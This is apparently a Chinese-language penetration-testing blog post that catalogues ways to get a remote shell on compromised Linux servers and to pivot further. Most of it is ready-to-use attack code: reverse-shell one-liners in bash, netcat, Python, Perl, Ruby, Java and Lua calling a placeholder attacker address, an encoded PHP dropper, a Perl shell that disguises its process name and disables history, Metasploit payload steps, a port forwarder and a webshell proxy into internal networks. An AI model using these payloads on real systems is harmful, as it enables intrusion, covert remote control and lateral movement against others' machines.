0x00 前言

在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结.

0x01 反弹shell
1) Bash

部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口

bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

image

2) NetCat

Netcat反弹shell也是常用兵器,经典命令参数-e

nc -e /bin/sh x.x.x.x 2333

image

但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

image

或者本地监听两个端口,通过管道,一处输入,一处输出

nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444

image

其他方式基本沿用以上思路,如将nc更换为telnet等

mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
3) PHP

PHP环境下反弹shell,过去我们通常用phpspy等shell自带反弹即可,这里将其反弹部分代码提取出来,访问即可反弹到指定IP端口一个普通交互shell

<?php 
function which($pr) { 
    $path = execute("which $pr");
    return ($path ? $path : $pr);
}
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 

function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 

$yourip = "x.x.x.x"; 
$yourport = "2333"; 
$usedb = array('perl'=>'perl','c'=>'c');    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?> 

访问,成功返回

image

但需要注意php需未禁用exec函数.另外,Metasploit的payload也提供各种反弹脚本,如

msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

生成文件内容像这样

image

将文件传入shell中,在msf中开一个handler

msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit

此时访问re.php,即可反弹到本地一个shell

image

当然,用nc直接监听端口也是可以的

其他可以考虑使用msf编码变形等,github也有这样一个脚本
https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php
可供参考

4) JSP

JSP类似,使用msf生成一个反弹shell

msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

然后在msf中开一个handler

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
msf exploit(handler) > exploit

类似方法即可反弹回shell

5) Python

一个Python反弹shell的代码demo

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image

整洁规范的Python写法应该像是这样,更易懂些:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

其他脚本像这样子

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

msf的payload给出这样的解法

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333

生成编码后文件:

import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))

Base64解码后:

import socket,struct
s=socket.socket(2,1)
s.connect(('x.x.x.x',2333))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})

此处补充上phith0n同学的正向连接bind_shell

关于交互式正向连接shell,几点需要注意的地方

1.不管在linux还是windows下,想要做到交互式,只能开启一个shell.不能够每次接收到命令就再开启一个shell进程,然后执行.

2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别.

最终Win版本:

from socket import *
import subprocess
import os, threading

def send(talk, proc):
        import time
        while True:
                msg = proc.stdout.readline()
                talk.send(msg)

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',23333))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        t = threading.Thread(target = send, args = (talk, proc))
        t.setDaemon(True)
        t.start()
        while True:
                cmd=talk.recv(1024)
                proc.stdin.write(cmd)
                proc.stdin.flush()
        server.close()

Linux版本:

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',11))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

执行后主动连接即可

image

6) Perl

首先给一个原理类似的脚本

perl -e 'use Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

然后是一个不依赖调用/bin/bash的方法

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

一个完整的反弹pl脚本

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell.  Change these.
my $ip = 'x.x.x.x';
my $port = 2333;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();    
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

ASP环境下调用perlscript执行方式

<%@Language=PerlScript%>
#表明ASP脚本使用语言为Perlscript
<%
system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#用system函数执行命令的方式
#exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");
#用exec函数执行命令的方式
%>
7) Ruby

惯例,首先一个调用/bin/sh的

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

一个不依赖于/bin/sh的反弹shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows环境使用

ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

此外MSF中也有相应模块可以调用,就不多提

8) Java

给出一个调用/bin/bash的脚本

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

MSF中也有相应模块可以调用

9) Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"

类似不做解释

0x02 端口转发

上面总结反弹shell的各种已知主流或非主流方式,下面扯一下端口转发.
已知的大众方式如:

  • lcx老牌工具
  • htran/fport/fpipe等
  • antifw修改3389端口为80
  • reduh提供了借助http/https隧道连接3389的另一种方式
  • tunna给出了比reduh更稳定快速的解决方法

在Linux环境下,则可考虑借助脚本实现,如Perl/Python等.
知道创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试发现只支持单点连接,推荐使用此脚本,支持多client同时连接

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import socket
import threading
import logging
import optparse


class PipeThread(threading.Thread):

    def __init__(self, source_fd, target_fd):
        super(PipeThread, self).__init__()
        self.logger = logging.getLogger('PipeThread')
        self.source_fd = source_fd
        self.target_fd = target_fd
        self.source_addr = self.source_fd.getpeername()
        self.target_addr = self.target_fd.getpeername()

    def run(self):
        while True:
            try:
                data = self.source_fd.recv(4096)
                if len(data) > 0:
                    self.logger.debug('read  %04i from %s:%d', len(data),
                                      self.source_addr[0], self.source_addr[1])
                    sent = self.target_fd.send(data)
                    self.logger.debug('write %04i to   %s:%d', sent,
                                      self.target_addr[0], self.target_addr[1])
                else:
                    break
            except socket.error:
                break
        self.logger.debug('connection %s:%d is closed.', self.source_addr[0],
                          self.source_addr[1])
        self.logger.debug('connection %s:%d is closed.', self.target_addr[0],
                          self.target_addr[1])
        self.source_fd.close()
        self.target_fd.close()


class Forwarder(object):

    def __init__(self, ip, port, remoteip, remoteport, backlog=5):
        self.remoteip = remoteip
        self.remoteport = remoteport
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((ip, port))
        self.sock.listen(backlog)

    def run(self):
        while True:
            client_fd, client_addr = self.sock.accept()
            target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            target_fd.connect((self.remoteip, self.remoteport))

            threads = [
                PipeThread(client_fd, target_fd),
                PipeThread(target_fd, client_fd)
            ]

            for t in threads:
                t.setDaemon(True)
                t.start()

    def __del__(self):
        self.sock.close()


if __name__ == '__main__':
    parser = optparse.OptionParser()

    parser.add_option(
        '-l', '--local-ip', dest='local_ip',
        help='Local IP address to bind to')
    parser.add_option(
        '-p', '--local-port',
        type='int', dest='local_port',
        help='Local port to bind to')
    parser.add_option(
        '-r', '--remote-ip', dest='remote_ip',
        help='Local IP address to bind to')
    parser.add_option(
        '-P', '--remote-port',
        type='int', dest='remote_port',
        help='Remote port to bind to')
    parser.add_option(
        '-v', '--verbose',
        action='store_true', dest='verbose',
        help='verbose')
    opts, args = parser.parse_args()

    if len(sys.argv) == 1 or len(args) > 0:
        parser.print_help()
        exit()

    if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):
        parser.print_help()
        exit()

    if opts.verbose:
        log_level = logging.DEBUG
    else:
        log_level = logging.CRITICAL

    logging.basicConfig(level=log_level, format='%(name)-11s: %(message)s')
    forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)

    try:
        forwarder.run()
    except KeyboardInterrupt:
        print 'quit'
        exit()

使用方式如

python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443

至于Perl脚本,网络中也有相关资料,大家可自行修改使用.

0x03 开放代理

如果对目标服务器已获得较高权限,可添加vpn或socks代理,ringzero@557.im写的
一个可用socks.py脚本可以更易的完成socks代理添加
使用方式如:

nohup python s5.py 1080 & 

只有Webshell的情况下,又需要对内网某web服务进行访问测试,但没有充足的精力手工借助webshell进行请求,需要将这一过程自动化,xsjswt给出这样一种思路.

将如下脚本以shell权限丢至服务器

<?php
if(!isset($_GET['url'])){
  exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
  $url.='&';
}
else{
  $url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
  curl_setopt($ch, CURLOPT_POST, 1);
  $post_data='';
  foreach($_POST as $Key=>$Val){
    if(get_magic_quotes_gpc()){
      $Val=stripslashes($Val);
    }
    $post_data=$post_data.'&'.$Key.'='.urlencode($Val);
  }
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
  curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
  curl_close($ch);
  exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r\n",$Header);
foreach($Headers as $ThusHead){
  if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
     continue;
  }
  header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>

另搭建一nginx服务器,添加如下配置

server {
    listen          监听端口;
    location ~ () {
            proxy_pass              http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;
            proxy_set_header        Host    "访问webshell所用域名";
    }
}

重新加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,即可实现初步的代理请求.

0x04 小结

仅总结常见手法/工具/脚本并加以测试,如各位实战中有奇葩的环境/更有趣的思路/手法,望不吝赐教.

0x05 参考资料

[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

[2] http://www.leavesongs.com/PYTHON/python-shell-backdoor.html

[3] http://www.waitalone.cn/linux-shell-rebound-under-way.html

[4] http://tool.p1ng.pw/getshell.html

[5] 互联网其他相关资料

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